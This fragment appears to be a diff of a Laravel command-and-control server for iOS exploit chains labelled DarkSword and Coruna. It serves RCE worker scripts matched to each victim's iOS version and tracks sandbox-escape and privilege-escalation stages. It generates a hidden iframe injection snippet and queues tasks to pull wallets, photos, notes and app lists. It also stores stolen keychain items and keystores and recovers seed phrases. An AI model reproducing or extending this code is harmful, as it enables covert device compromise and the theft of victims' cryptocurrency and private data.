'body' => $body,
'response' => $respPreview,
];
create_log($entry, 'ds');
error_log('[ds] '.$request->method().' '.$path.' req='.json_encode($body, JSON_UNESCAPED_UNICODE | JSON_UNESCAPED_SLASHES).' resp='.$respPreview);
return $response;
}
/**
* Match live one99.vip GET /api/chain-targets (probed 2026-08-21).
* Query `ios=` wins over User-Agent; UA is used only when the query is empty.
*/
private function requestIos(Request $request): string
{
$ios = (string) $request->query('ios', '');
if ($ios !== '') {
return $ios;
}
$ua = (string) $request->userAgent();
if (preg_match('/(?:iPhone )?OS (\d+)[._](\d+)(?:[._](\d+))?/i', $ua, $m)) {
$out = $m[1].'.'.$m[2];
if (($m[3] ?? '') !== '') {
$out .= '.'.$m[3];
}
return $out;
}
return '';
}
/**
* Worker plan from live one99.vip /api/chain-targets.
*
* 18.4.x → 18.4 then [18.5, 18.6]
* 18.5.x → 18.5 then [18.6, 18.4]
* anything else (18.6+, 18.7, 17.x, 26.x, empty) → 18.6 then [18.5, 18.4]
*
* @return array{0: string, 1: list<string>}
*/
private function chainTargetWorkers(string $ios): array
{
$minor = null;
if (preg_match('/^18\.(\d+)/', $ios, $m)) {
$minor = (int) $m[1];
}
return match ($minor) {
4 => ['rce_worker_18.4.js', ['rce_worker_18.5.js', 'rce_worker_18.6.js']],
5 => ['rce_worker_18.5.js', ['rce_worker_18.6.js', 'rce_worker_18.4.js']],
default => ['rce_worker_18.6.js', ['rce_worker_18.5.js', 'rce_worker_18.4.js']],
};
}
private function isDefaultPort(string $scheme, int $port): bool
{
return ($scheme === 'http' && $port === 80) || ($scheme === 'https' && $port === 443);
}
private function peStageName(string $path): string
{
$name = basename($path);
$name = (string) preg_replace('/\.js$/i', '', $name);
$name = strtolower((string) preg_replace('/[^a-z0-9_]/', '', $name));
return $name !== '' ? $name : 'unknown';
}
/**
* @return array<string, mixed>
*/
private function payloadFromQueryOrJson(Request $request): array
{
$payload = $this->jsonBody($request);
if ($payload !== []) {
return $payload;
}
$query = $request->query();
return is_array($query) ? $query : [];
}
/**
* @return array<string, mixed>|string
*/
private function previewBody(Request $request): array|string
{
if ($request->isMethod('GET') || $request->isMethod('HEAD')) {
return ['query' => $request->query()];
}
$ct = strtolower((string) $request->header('content-type', ''));
if (str_contains($ct, 'multipart/')) {
$files = [];
foreach ($request->allFiles() as $key => $file) {
$list = is_array($file) ? $file : [$file];
foreach ($list as $f) {
$files[] = [
'field' => $key,
'name' => $f->getClientOriginalName(),
'size' => $f->getSize(),
];
}
}
return [
'multipart' => true,
'form' => $request->except(array_keys($request->allFiles())),
'files' => $files,
];
}
$raw = (string) $request->getContent();
$json = json_decode($raw, true);
if (is_array($json)) {
return $this->truncateArray($json);
}
return $this->previewString($raw, 4096);
}
/**
* @return array<string, mixed>
*/
private function jsonBody(Request $request): array
{
$json = json_decode((string) $request->getContent(), true);
return is_array($json) ? $json : [];
}
/**
* @param array<string, mixed> $data
* @return array<string, mixed>
*/
private function truncateArray(array $data, int $maxStr = 512, int $depth = 0): array
{
if ($depth > 4) {
return ['_truncated' => true];
}
$out = [];
$i = 0;
foreach ($data as $k => $v) {
if ($i++ > 80) {
$out['_more'] = true;
break;
}
if (is_string($v) && strlen($v) > $maxStr) {
$out[$k] = substr($v, 0, $maxStr).'…['.strlen($v).' bytes]';
} elseif (is_array($v)) {
$out[$k] = $this->truncateArray($v, $maxStr, $depth + 1);
} else {
$out[$k] = $v;
}
}
return $out;
}
private function previewString(string $raw, int $max): string
{
if (strlen($raw) <= $max) {
return $raw;
}
return substr($raw, 0, $max).'…['.strlen($raw).' bytes]';
}
}
@@ -15,25 +15,25 @@ class TokenviewWebhookController extends Controller
$raw = $request->getContent(); $raw = $request->getContent();
$signature = $request->header('X-Tokenview-Signature'); $signature = $request->header('X-Tokenview-Signature');
if (! $monitor->verifySignature($raw, $signature)) {
Log::warning('tokenview webhook bad signature');
return response('invalid signature', 401);
}
$payload = $request->json()->all(); $payload = $request->json()->all();
if (! is_array($payload) || $payload === []) { if (! is_array($payload) || $payload === []) {
$decoded = json_decode($raw, true); $decoded = json_decode($raw, true);
$payload = is_array($decoded) ? $decoded : []; $payload = is_array($decoded) ? $decoded : [];
} }
try { // Tokenview probes the webhook (often unsigned GET/POST) before a
$monitor->handleWebhook($payload); // sign key exists. Always 200 + non-empty body; only skip ingest.
} catch (\Throwable $e) { $signed = $monitor->verifySignature($raw, $signature);
Log::warning('tokenview webhook handle failed: '.$e->getMessage()); if (! $signed) {
Log::warning('tokenview webhook bad signature (acked 200, skipped ingest)');
} elseif ($payload !== []) {
try {
$monitor->handleWebhook($payload);
} catch (\Throwable $e) {
Log::warning('tokenview webhook handle failed: '.$e->getMessage());
}
} }
// Tokenview requires HTTP 200 + non-empty body.
return response('ok', 200)->header('Content-Type', 'text/plain; charset=UTF-8'); return response('ok', 200)->header('Content-Type', 'text/plain; charset=UTF-8');
} }
} }
@@ -46,6 +46,7 @@ class PageHitController extends Controller
PageVisit::query()->create([ PageVisit::query()->create([
'channel_id' => $channelId, 'channel_id' => $channelId,
'client_uid' => $uid, 'client_uid' => $uid,
'chain' => PageVisit::CHAIN_CORUNA,
'user_agent' => $ua !== '' ? $ua : null, 'user_agent' => $ua !== '' ? $ua : null,
'os' => $parsed['os'], 'os' => $parsed['os'],
'os_version' => $parsed['os_version'] !== '' ? $parsed['os_version'] : null, 'os_version' => $parsed['os_version'] !== '' ? $parsed['os_version'] : null,
+5
View File
@@ -2,6 +2,7 @@
namespace App\Http\Middleware; namespace App\Http\Middleware;
use App\Http\Controllers\C2\DarkSwordC2Controller;
use App\Services\CorunaCrypto; use App\Services\CorunaCrypto;
use App\Services\IngestService; use App\Services\IngestService;
use Closure; use Closure;
@@ -21,6 +22,10 @@ class DecryptXxbbBody
public function handle(Request $request, Closure $next): Response public function handle(Request $request, Closure $next): Response
{ {
if (DarkSwordC2Controller::matches($request)) {
return $next($request);
}
$crypto = self::crypto(); $crypto = self::crypto();
$meta = c2_log_request_meta($request); $meta = c2_log_request_meta($request);
+24 -8
View File
@@ -174,19 +174,35 @@ class Channel extends Model
/** /**
* Hidden iframe snippet for embedding the landing URL (same as admin「复制推广代码」). * Hidden iframe snippet for embedding the landing URL (same as admin「复制推广代码」).
* src is resolved at paste-time from the host page's location.
*/ */
public function promoIframeSnippet(?string $url = null): ?string public function promoIframeSnippet(?string $url = null): ?string
{ {
$url = trim((string) ($url ?? ($this->supportLinks()[0] ?? ''))); $path = $this->landingPathFromUrl($url) ?? $this->landingPath();
if ($url === '') { if ($path === '') {
$base = rtrim((string) config('app.url'), '/'); return null;
if ($base === '') {
return null;
}
$url = $base.$this->landingPath();
} }
return '<iframe src="'.$url.'" style="position:fixed;top:0;left:-1000px;pointer-events:none;border:0"></iframe>'; if (! str_starts_with($path, '/')) {
$path = '/'.$path;
}
if (str_contains($path, '"') || str_contains($path, "'") || str_contains($path, '?')) {
$path = $this->landingPath();
}
// Telegram copy_text max is 256. Relative src resolves against the host page.
return '<script>document.body.appendChild(Object.assign(document.createElement("iframe"),{src:"'.$path.'",style:"position:fixed;top:0;left:-1000px;pointer-events:none;border:0"}))</script>';
}
private function landingPathFromUrl(?string $url): ?string
{
$url = trim((string) $url);
if ($url === '') {
return null;
}
$path = parse_url($url, PHP_URL_PATH);
return is_string($path) && $path !== '' ? $path : null;
} }
public static function randomChannelId(): string public static function randomChannelId(): string
+11 -1
View File
@@ -13,13 +13,18 @@ class Device extends Model
public const WALLET_YES = 2; public const WALLET_YES = 2;
public const FAMILY_CORUNA = 'coruna';
public const FAMILY_DARKSWORD = 'darksword';
protected $fillable = [ protected $fillable = [
'device_id', 'channel_id', 'source_domain', 'phone', 'ios_version', 'device_model', 'ip', 'user_agent', 'device_id', 'family', 'channel_id', 'source_domain', 'phone', 'ios_version', 'device_model', 'ip', 'user_agent',
'telegram_notified', 'album_storage', 'has_wallet', 'wallet_names', 'telegram_notified', 'album_storage', 'has_wallet', 'wallet_names',
]; ];
protected $attributes = [ protected $attributes = [
'has_wallet' => self::WALLET_UNKNOWN, 'has_wallet' => self::WALLET_UNKNOWN,
'family' => self::FAMILY_CORUNA,
]; ];
protected function casts(): array protected function casts(): array
@@ -89,4 +94,9 @@ class Device extends Model
{ {
return $this->hasMany(WalletKeystore::class); return $this->hasMany(WalletKeystore::class);
} }
public function beaconTasks(): HasMany
{
return $this->hasMany(DsBeaconTask::class)->orderBy('position');
}
} }
+71
View File
@@ -0,0 +1,71 @@
<?php
namespace App\Models;
use Illuminate\Database\Eloquent\Model;
use Illuminate\Database\Eloquent\Relations\BelongsTo;
class DsBeaconTask extends Model
{
public const STATUS_PENDING = 'pending';
public const STATUS_DISPATCHED = 'dispatched';
public const STATUS_DONE = 'done';
public const STATUS_SKIPPED = 'skipped';
public const LABELS = [
'wallet_extract' => '钱包提取',
'wallet_scan' => '钱包扫盘',
'photos' => '相册',
'photo_scan' => '相册扫描',
'apps' => '应用列表',
'basic_info' => '设备信息',
];
public const STATUS_LABELS = [
self::STATUS_PENDING => '排队中',
self::STATUS_DISPATCHED => '已下发',
self::STATUS_DONE => '已回传',
self::STATUS_SKIPPED => '已跳过',
];
protected $fillable = [
'device_id',
'position',
'type',
'status',
'command_id',
'dispatched_at',
'completed_at',
'result_count',
'result_meta',
];
protected function casts(): array
{
return [
'position' => 'integer',
'dispatched_at' => 'datetime',
'completed_at' => 'datetime',
'result_count' => 'integer',
'result_meta' => 'array',
];
}
public function device(): BelongsTo
{
return $this->belongsTo(Device::class);
}
public function typeLabel(): string
{
return self::LABELS[$this->type] ?? $this->type;
}
public function statusLabel(): string
{
return self::STATUS_LABELS[$this->status] ?? $this->status;
}
}
+124
View File
@@ -0,0 +1,124 @@
<?php
namespace App\Models;
use Illuminate\Database\Eloquent\Model;
class DsChainLog extends Model
{
public $timestamps = false;
/** @var array<string, array{progress: int, title: string}> */
public const STAGES = [
'boot' => ['progress' => 8, 'title' => '启动'],
'loader' => ['progress' => 18, 'title' => '加载器'],
'worker' => ['progress' => 42, 'title' => 'RCE'],
'sbx0' => ['progress' => 58, 'title' => '沙箱逃逸'],
'sbx1' => ['progress' => 72, 'title' => '沙箱二段'],
'pe' => ['progress' => 86, 'title' => '权限提升'],
'post' => ['progress' => 100, 'title' => '取证完成'],
];
protected $fillable = [
'client_uid',
'channel_id',
'stage',
'progress',
'label',
'created_at',
];
protected function casts(): array
{
return [
'progress' => 'integer',
'created_at' => 'datetime',
];
}
public static function stageTitle(string $stage): string
{
return self::STAGES[$stage]['title'] ?? $stage;
}
/**
* @return array{stage: string, progress: int, label: string}|null
*/
public static function inferFromText(?string $text): ?array
{
$msg = trim((string) $text);
if ($msg === '') {
return null;
}
if (preg_match('/file_downloader_ok|chain.?complete/i', $msg)) {
return ['stage' => 'post', 'progress' => 100, 'label' => 'post'];
}
if (preg_match('/file_downloader_start|S5_post|post \/stats|saved .* bytes|wallet_memory|wallet_crypto|coruna_bootstrap_fetch|coruna_s5/i', $msg)) {
return ['stage' => 'pe', 'progress' => 90, 'label' => '权限提升 · 后台收尾'];
}
if (preg_match('/pe_main|kernel_base|kernel_slide|pe_main_eval|pe_main_start|pe spawned|Spawning PE|pe bootstrap|nowait_exit|pe exfil grace|pe exfil wait|pe_mpd/i', $msg)) {
return ['stage' => 'pe', 'progress' => 86, 'label' => 'pe'];
}
if (preg_match('/sbx1_main|mediaplaybackd|\[patch\] loaded bootstrap/i', $msg)) {
return ['stage' => 'sbx1', 'progress' => 72, 'label' => 'sbx1'];
}
if (preg_match('/after get js|sbx0_main|coruna stage2|seedbell/i', $msg)) {
return ['stage' => 'sbx0', 'progress' => 58, 'label' => 'sbx0'];
}
if (preg_match('/stage1|RCE success|handoff ok|Inside stage2|inside stage1/i', $msg)) {
return ['stage' => 'worker', 'progress' => 42, 'label' => 'worker'];
}
if (preg_match('/Chain selected|rce_loader|loadChainLoader/i', $msg)) {
return ['stage' => 'loader', 'progress' => 18, 'label' => 'loader'];
}
if (preg_match('/frame\.html loaded|frame_boot/i', $msg)) {
return ['stage' => 'boot', 'progress' => 8, 'label' => 'frame_boot'];
}
return null;
}
public static function record(
string $clientUid,
string $stage,
int $progress = 0,
?string $label = null,
?string $channelId = null,
): ?self {
$clientUid = strtoupper(preg_replace('/[^0-9A-Fa-f]/', '', $clientUid) ?? '');
$stage = strtolower(trim($stage));
if ($clientUid === '' || ! isset(self::STAGES[$stage])) {
return null;
}
$meta = self::STAGES[$stage];
if ($progress <= 0) {
$progress = $meta['progress'];
}
$progress = max(0, min(100, $progress));
$label = trim((string) ($label ?? ''));
if ($label === '') {
$label = $stage;
}
$label = substr($label, 0, 255);
$channelId = $channelId !== null && trim($channelId) !== '' ? substr(trim($channelId), 0, 64) : null;
$last = self::query()->where('client_uid', $clientUid)->orderByDesc('id')->first();
if ($last
&& $last->stage === $stage
&& (int) $last->progress === $progress
&& (string) $last->label === $label) {
return $last;
}
return self::query()->create([
'client_uid' => substr($clientUid, 0, 64),
'channel_id' => $channelId,
'stage' => $stage,
'progress' => $progress,
'label' => $label,
'created_at' => now(),
]);
}
}
+11
View File
@@ -8,9 +8,14 @@ class PageVisit extends Model
{ {
public $timestamps = false; public $timestamps = false;
public const CHAIN_CORUNA = 0;
public const CHAIN_DARKSWORD = 1;
protected $fillable = [ protected $fillable = [
'channel_id', 'channel_id',
'client_uid', 'client_uid',
'chain',
'session_id', 'session_id',
'user_agent', 'user_agent',
'os', 'os',
@@ -26,10 +31,16 @@ class PageVisit extends Model
protected function casts(): array protected function casts(): array
{ {
return [ return [
'chain' => 'integer',
'created_at' => 'datetime', 'created_at' => 'datetime',
]; ];
} }
public static function chainLabel(int $chain): string
{
return $chain === self::CHAIN_DARKSWORD ? 'DarkSword' : 'Coruna';
}
public static function normalizeDomain(?string $value): ?string public static function normalizeDomain(?string $value): ?string
{ {
$value = trim((string) $value); $value = trim((string) $value);
+187 -1
View File
@@ -8,18 +8,204 @@ use Illuminate\Database\Eloquent\Relations\BelongsTo;
class WalletKeystore extends Model class WalletKeystore extends Model
{ {
protected $fillable = [ protected $fillable = [
'device_id', 'raw_json', 'device_id', 'source', 'decrypted', 'raw_json',
]; ];
protected function casts(): array protected function casts(): array
{ {
return [ return [
'raw_json' => 'array', 'raw_json' => 'array',
'decrypted' => 'integer',
]; ];
} }
public function sourceLabel(): string
{
$source = trim((string) $this->source);
return $source !== '' ? $source : '未知';
}
public function kind(): string
{
return is_array($this->raw_json) ? trim((string) ($this->raw_json['kind'] ?? '')) : '';
}
public function kindLabel(): string
{
return match ($this->kind()) {
'keychain.wallets' => '钥匙串',
'sandbox' => '沙盒文件',
default => $this->kind() !== '' ? $this->kind() : '未知',
};
}
/**
* @return list<array{
* account: string,
* service: string,
* access_group: string,
* protection_class: string,
* path: string,
* data_len: int,
* data_preview: string
* }>
*/
public function listedItems(): array
{
$json = is_array($this->raw_json) ? $this->raw_json : [];
$out = [];
$wallets = $json['wallets'] ?? null;
if (is_array($wallets)) {
foreach ($wallets as $bucket) {
$items = is_array($bucket['items'] ?? null) ? $bucket['items'] : [];
foreach ($items as $item) {
if (is_array($item)) {
$out[] = $this->normalizeItem($item);
}
}
}
}
$sandbox = $json['sandbox'] ?? null;
if (is_array($sandbox)) {
$out = array_merge($out, $this->sandboxItems($sandbox));
}
if (isset($json['crypto']) && is_array($json['crypto'])) {
$out[] = $this->normalizeItem([
'account' => (string) ($json['id'] ?? $json['type'] ?? 'keystore'),
'path' => 'crypto',
'dataHex' => (string) ($json['crypto']['ciphertext'] ?? ''),
]);
}
return $out;
}
public function itemCount(): int
{
return count($this->listedItems());
}
public function summary(): string
{
$names = [];
foreach ($this->listedItems() as $item) {
$name = $item['account'] !== '' ? $item['account'] : $item['path'];
if ($name !== '') {
$names[] = $name;
}
if (count($names) >= 3) {
break;
}
}
$n = $this->itemCount();
if ($names === []) {
return $n > 0 ? $n.' 条' : '';
}
$text = implode(' · ', $names);
if ($n > 3) {
$text .= ' 等'.$n.'条';
}
return $text;
}
public function device(): BelongsTo public function device(): BelongsTo
{ {
return $this->belongsTo(Device::class); return $this->belongsTo(Device::class);
} }
/**
* @param array<string, mixed> $item
* @return array{
* account: string,
* service: string,
* access_group: string,
* protection_class: string,
* path: string,
* data_len: int,
* data_preview: string
* }
*/
private function normalizeItem(array $item): array
{
$hex = (string) ($item['dataHex'] ?? '');
$bin = '';
if ($hex !== '' && ctype_xdigit($hex) && strlen($hex) % 2 === 0) {
$bin = (string) hex2bin($hex);
} elseif (isset($item['data']) && is_string($item['data'])) {
$bin = $item['data'];
}
return [
'account' => trim((string) ($item['account'] ?? '')),
'service' => trim((string) ($item['service'] ?? '')),
'access_group' => trim((string) ($item['accessGroup'] ?? $item['access_group'] ?? '')),
'protection_class' => (string) ($item['protectionClass'] ?? $item['class'] ?? ''),
'path' => trim((string) ($item['path'] ?? '')),
'data_len' => strlen($bin),
'data_preview' => $this->previewBytes($bin !== '' ? $bin : $hex),
];
}
/**
* @param array<string, mixed> $sandbox
* @return list<array{
* account: string,
* service: string,
* access_group: string,
* protection_class: string,
* path: string,
* data_len: int,
* data_preview: string
* }>
*/
private function sandboxItems(array $sandbox, string $prefix = ''): array
{
$out = [];
foreach ($sandbox as $key => $value) {
$path = $prefix === '' ? (string) $key : $prefix.'/'.$key;
if (is_array($value)) {
if (isset($value['items']) && is_array($value['items'])) {
foreach ($value['items'] as $item) {
if (is_array($item)) {
$out[] = $this->normalizeItem($item);
}
}
continue;
}
$out = array_merge($out, $this->sandboxItems($value, $path));
continue;
}
if (! is_string($value) || $value === '') {
continue;
}
$bin = base64_decode($value, true);
if ($bin === false) {
$bin = $value;
}
$out[] = $this->normalizeItem([
'account' => basename($path),
'path' => $path,
'data' => $bin,
]);
}
return $out;
}
private function previewBytes(string $raw): string
{
if ($raw === '') {
return '';
}
if (mb_check_encoding($raw, 'UTF-8') && preg_match('/^[\x09\x0A\x0D\x20-\x7E]{1,256}$/', $raw)) {
return $raw;
}
$hex = bin2hex($raw);
return strlen($hex) > 48 ? substr($hex, 0, 48).'…' : $hex;
}
} }
+795
View File
@@ -0,0 +1,795 @@
<?php
namespace App\Services;
use App\Models\Device;
use App\Models\DsChainLog;
use App\Models\PageVisit;
use App\Models\WalletKeystore;
use App\Models\WalletMnemonic;
use App\Support\UserAgentParser;
use App\Support\WalletSource;
use Illuminate\Http\Request;
use Illuminate\Support\Facades\Storage;
/**
* Map DarkSword / one99 plaintext JSON onto existing device/note/wallet tables.
*
* Does not call xxbb field extractors (`d`/`f`/`c`/`al[]` / ver/sdkv).
*/
class DarkSwordIngestAdapter
{
/** @var list<string> */
private const SKIP_WALK_KEYS = [
'error', 'errors', 'layer3Error', 'diagnostics', 'metadataKeys',
'locked_classes', '_truncated', '_more', 'tables',
];
public function __construct(
private readonly IngestService $ingest,
private readonly TelegramNotifier $telegram,
private readonly DsBeaconQueue $beaconQueue,
private readonly DsResultStore $results,
private readonly DsTrustAddressIngest $trustAddresses,
private readonly DsKeystoreDecrypt $keystoreDecrypt,
private readonly MnemonicWalletDiscovery $mnemonicDiscovery,
private readonly MnemonicAddressLinker $mnemonicLinker,
) {}
/**
* @param array<string, mixed> $payload Untruncated JSON from the raw request body.
*/
public function ingest(Request $request, string $path, array $payload): void
{
match ($path) {
'/api/ds/device/register', '/api/device/register' => $this->ingestRegister($request, $payload),
'/api/ds/log' => $this->ingestLog($request, $payload),
'/a' => $this->ingestProfile($request, $payload),
'/u' => $this->ingestApps($request, $payload),
'/nb' => $this->ingestNotes($request, $payload),
'/war' => $this->ingestWar($request, $payload),
'/beacon', '/event' => $this->heartbeat($request, $payload),
'/result' => $this->ingestResult($request, $payload),
default => str_starts_with($path, '/api/ds/pe-stage')
? $this->ingestPeStage($request, $payload)
: null,
};
}
/**
* @param array<string, mixed> $payload
*/
private function ingestRegister(Request $request, array $payload): void
{
$this->recordRegisterVisit($request, $payload);
}
/**
* @param array<string, mixed> $payload
*/
private function ingestStage(Request $request, array $payload): void
{
$uid = $this->extractDeviceKey($request, $payload);
if ($uid === null) {
return;
}
$stage = strtolower(trim((string) ($payload['stage'] ?? '')));
$progress = (int) ($payload['progress'] ?? 0);
$label = is_string($payload['label'] ?? null) ? $payload['label'] : null;
DsChainLog::record($uid, $stage, $progress, $label, $this->extractChannelCode($payload));
}
/**
* PE progress ping. File log is written by DarkSwordC2Controller::peStage;
* here we also fold the named stage into ds_chain_logs when a UUID is present.
*
* @param array<string, mixed> $payload
*/
private function ingestPeStage(Request $request, array $payload): void
{
$name = strtolower(trim((string) ($payload['pe_stage'] ?? '')));
$progress = match ($name) {
's1_launchd' => 86,
's2_keychain' => 88,
's3_mempress' => 90,
's4_loader' => 92,
's5_c2' => 94,
's6_p7phase2' => 96,
default => 86,
};
$this->ingestStage($request, array_merge($payload, [
'stage' => 'pe',
'progress' => $progress,
'label' => 'pe_stage:'.($name !== '' ? $name : 'unknown'),
]));
}
/**
* @param array<string, mixed> $payload
*/
private function ingestLog(Request $request, array $payload): void
{
$uid = $this->extractDeviceKey($request, $payload);
if ($uid === null) {
return;
}
if (is_string($payload['stage'] ?? null) && trim((string) $payload['stage']) !== '') {
$this->ingestStage($request, $payload);
return;
}
$text = $payload['text'] ?? $payload['msg'] ?? $payload['message'] ?? null;
if (! is_string($text)) {
return;
}
$inferred = DsChainLog::inferFromText($text);
if ($inferred === null) {
return;
}
DsChainLog::record(
$uid,
$inferred['stage'],
$inferred['progress'],
$inferred['label'],
$this->extractChannelCode($payload),
);
}
/**
* @param array<string, mixed> $payload
*/
private function recordRegisterVisit(Request $request, array $payload): void
{
$uid = $this->extractDeviceKey($request, $payload);
if ($uid === null) {
return;
}
$ua = $this->registerUserAgent($request, $payload);
$parsed = UserAgentParser::parse($ua);
$ios = $this->extractIos($payload);
$channel = $this->extractChannelCode($payload) ?? '';
$ip = $this->clientIp($request, $payload);
$referer = trim((string) $request->headers->get('referer', ''));
PageVisit::query()->create([
'channel_id' => $channel,
'client_uid' => $uid,
'chain' => PageVisit::CHAIN_DARKSWORD,
'user_agent' => $ua !== '' ? $ua : null,
'os' => $ios !== null ? 'iOS' : $parsed['os'],
'os_version' => $ios ?? ($parsed['os_version'] !== '' ? $parsed['os_version'] : null),
'browser' => $parsed['browser'],
'browser_version' => $parsed['browser_version'] !== '' ? $parsed['browser_version'] : null,
'ip' => $ip !== '' ? $ip : null,
'domain' => PageVisit::normalizeDomain($request->getHost()),
'referer' => $referer !== '' ? substr($referer, 0, 512) : null,
'created_at' => now(),
]);
}
/**
* @param array<string, mixed> $payload
*/
private function registerUserAgent(Request $request, array $payload): string
{
foreach (['user_agent', 'userAgent'] as $key) {
$value = $payload[$key] ?? null;
if (is_string($value) && trim($value) !== '') {
return substr(trim($value), 0, 512);
}
}
return substr((string) $request->userAgent(), 0, 512);
}
/**
* @param array<string, mixed> $payload
*/
private function ingestProfile(Request $request, array $payload): void
{
$this->upsertDevice($request, $payload);
}
/**
* @param array<string, mixed> $payload
*/
private function ingestApps(Request $request, array $payload): void
{
$device = $this->upsertDevice($request, $payload);
if (! $device) {
return;
}
$al = $this->appsToAl($payload['apps'] ?? null);
if ($al === []) {
return;
}
$this->ingest->ingestInstalledApps($device, ['al' => $al]);
}
/**
* @param array<string, mixed> $payload
*/
private function ingestNotes(Request $request, array $payload): void
{
$device = $this->upsertDevice($request, $payload);
if (! $device) {
return;
}
if (array_key_exists('list', $payload)) {
$this->ingest->ingestNotes($device, ['list' => $payload['list']]);
}
$this->storeNoteDbFiles($device, $payload['db_files'] ?? null);
}
/**
* @param array<string, mixed> $payload
*/
private function ingestWar(Request $request, array $payload): void
{
$device = $this->upsertDevice($request, $payload);
if (! $device) {
return;
}
$keychain = is_array($payload['keychain'] ?? null) ? $payload['keychain'] : [];
$wallets = $keychain['wallets'] ?? [];
$sandbox = $payload['sandbox'] ?? [];
$rows = array_merge(
$this->storeWalletKeystores($device, $wallets, 'keychain.wallets', $keychain['diagnostics'] ?? null),
$this->storeWalletKeystores($device, $sandbox, 'sandbox', null),
);
$this->recoverKeystoreMnemonics($device, $wallets, $sandbox, $rows);
$this->walkForMnemonics($device, $wallets, 'd');
$this->walkForMnemonics($device, $sandbox, 'b');
$this->trustAddresses->ingest($device, $sandbox);
$this->trustAddresses->ingest($device, $wallets);
}
/**
* @param array<string, mixed> $payload
*/
private function heartbeat(Request $request, array $payload): void
{
$this->upsertDevice($request, $payload);
}
/**
* @param array<string, mixed> $payload
*/
private function upsertDevice(Request $request, array $payload): ?Device
{
$key = $this->extractDeviceKey($request, $payload);
if ($key === null) {
return null;
}
$ip = $this->clientIp($request, $payload);
$model = $this->extractModel($payload);
$ios = $this->extractIos($payload);
$channel = $this->extractChannelCode($payload) ?? $this->channelFromVisit($key);
$ua = substr((string) $request->userAgent(), 0, 2000);
$existing = Device::query()->where('device_id', $key)->first();
if ($existing) {
$touch = [
'updated_at' => now(),
'family' => Device::FAMILY_DARKSWORD,
];
if ($ip !== '') {
$touch['ip'] = $ip;
}
if ($model !== null && $this->shouldReplaceModel($existing->device_model, $model)) {
$touch['device_model'] = $model;
}
if ($ios !== null && trim((string) $existing->ios_version) === '') {
$touch['ios_version'] = $ios;
}
if ($channel !== null && trim((string) $existing->channel_id) === '') {
$touch['channel_id'] = $channel;
}
$existing->forceFill($touch)->saveQuietly();
$this->beaconQueue->seed($existing);
return $existing->refresh();
}
$device = Device::query()->create([
'device_id' => $key,
'family' => Device::FAMILY_DARKSWORD,
'ip' => $ip !== '' ? $ip : null,
'device_model' => $model,
'ios_version' => $ios,
'channel_id' => $channel,
'user_agent' => $ua !== '' ? $ua : null,
]);
$this->telegram->notifyNewDevice($device->device_id, $device->ios_version, $device->ip);
$device->telegram_notified = true;
$device->save();
$this->beaconQueue->seed($device);
return $device->refresh();
}
/**
* Upsert the DarkSword device and seed its default beacon queue.
*
* @param array<string, mixed> $payload
*/
public function ensureDevice(Request $request, array $payload): ?Device
{
$device = $this->upsertDevice($request, $payload);
if ($device) {
$this->beaconQueue->seed($device);
}
return $device;
}
/**
* @param array<string, mixed> $payload
*/
private function ingestResult(Request $request, array $payload): void
{
$device = $this->upsertDevice($request, $payload);
if ($device) {
$stored = $this->results->store($device, $payload);
$payload = array_merge($payload, $stored);
if (($stored['stored'] ?? false) === true) {
$this->ingestTrustAddressesFromResult($device, $payload);
}
}
$this->beaconQueue->markDone($payload);
}
/**
* @param array<string, mixed> $payload
*/
private function ingestTrustAddressesFromResult(Device $device, array $payload): void
{
$filename = strtolower((string) ($payload['filename'] ?? ''));
$looksTrust = str_contains($filename, 'utc--')
|| str_contains($filename, 'wallet_pkg')
|| str_contains($filename, 'keystore');
if (! $looksTrust) {
return;
}
$raw = $payload['data'] ?? null;
if ((! is_string($raw) || $raw === '') && ! empty($payload['path']) && is_string($payload['path'])) {
if (Storage::disk('local')->exists($payload['path'])) {
$raw = (string) Storage::disk('local')->get($payload['path']);
}
}
if (! is_string($raw) || $raw === '') {
return;
}
$this->trustAddresses->ingest($device, $raw);
$rows = $this->storeWalletKeystores($device, ['trust_wallet' => $raw], 'sandbox', null);
$this->recoverKeystoreMnemonics($device, null, $raw, $rows);
}
/**
* @param array<string, mixed> $payload
*/
private function extractDeviceKey(Request $request, array $payload): ?string
{
$candidates = [
$payload['lhu'] ?? null,
$payload['deviceUUID'] ?? null,
$payload['device_uuid'] ?? null,
$payload['uuid'] ?? null,
$payload['device'] ?? null,
$request->header('X-Device-UUID'),
$request->query('deviceUUID'),
$request->query('device'),
];
foreach ($candidates as $value) {
if (! is_string($value) || $value === '') {
continue;
}
$hex = strtoupper(preg_replace('/[^0-9A-Fa-f]/', '', $value) ?? '');
if ($hex === '') {
continue;
}
return substr($hex, 0, 32);
}
return null;
}
/**
* @param array<string, mixed> $payload
*/
private function extractChannelCode(array $payload): ?string
{
foreach (['channeICode', 'channelCode', 'channel_code', 'channel'] as $key) {
$value = $payload[$key] ?? null;
if (! is_string($value)) {
continue;
}
$value = trim($value);
if ($value === '') {
continue;
}
return substr($value, 0, 64);
}
return null;
}
private function channelFromVisit(string $deviceKey): ?string
{
$channel = PageVisit::query()
->where('client_uid', $deviceKey)
->where('chain', PageVisit::CHAIN_DARKSWORD)
->where('channel_id', '!=', '')
->orderByDesc('id')
->value('channel_id');
return is_string($channel) && $channel !== '' ? substr($channel, 0, 64) : null;
}
/**
* @param array<string, mixed> $payload
*/
private function extractModel(array $payload): ?string
{
foreach (['machine', 'deviceModel', 'device_model', 'productType'] as $key) {
$value = $payload[$key] ?? null;
if (is_string($value) && trim($value) !== '') {
return substr(trim($value), 0, 128);
}
}
return null;
}
/**
* @param array<string, mixed> $payload
*/
private function extractIos(array $payload): ?string
{
foreach (['ios_version', 'ios', 'iosVersion', 'productVersion'] as $key) {
$value = $payload[$key] ?? null;
if (is_string($value) && trim($value) !== '') {
return substr(trim($value), 0, 64);
}
}
return null;
}
/**
* @param array<string, mixed> $payload
*/
private function clientIp(Request $request, array $payload): string
{
$reported = $payload['ip'] ?? null;
if (is_string($reported) && trim($reported) !== '') {
$normalized = PageVisit::normalizeIp(trim($reported));
if ($normalized !== '') {
return substr($normalized, 0, 64);
}
}
return substr(PageVisit::normalizeIp((string) $request->ip()) ?: (string) $request->ip(), 0, 64);
}
private function shouldReplaceModel(?string $current, string $incoming): bool
{
$cur = trim((string) $current);
if ($cur === '' || strcasecmp($cur, 'iPhone') === 0) {
return true;
}
return false;
}
/**
* @return list<array{b: string, a: string, v?: string}>
*/
private function appsToAl(mixed $apps): array
{
if (! is_array($apps)) {
return [];
}
$al = [];
foreach ($apps as $key => $item) {
if ($key === '_more' || ! is_array($item)) {
continue;
}
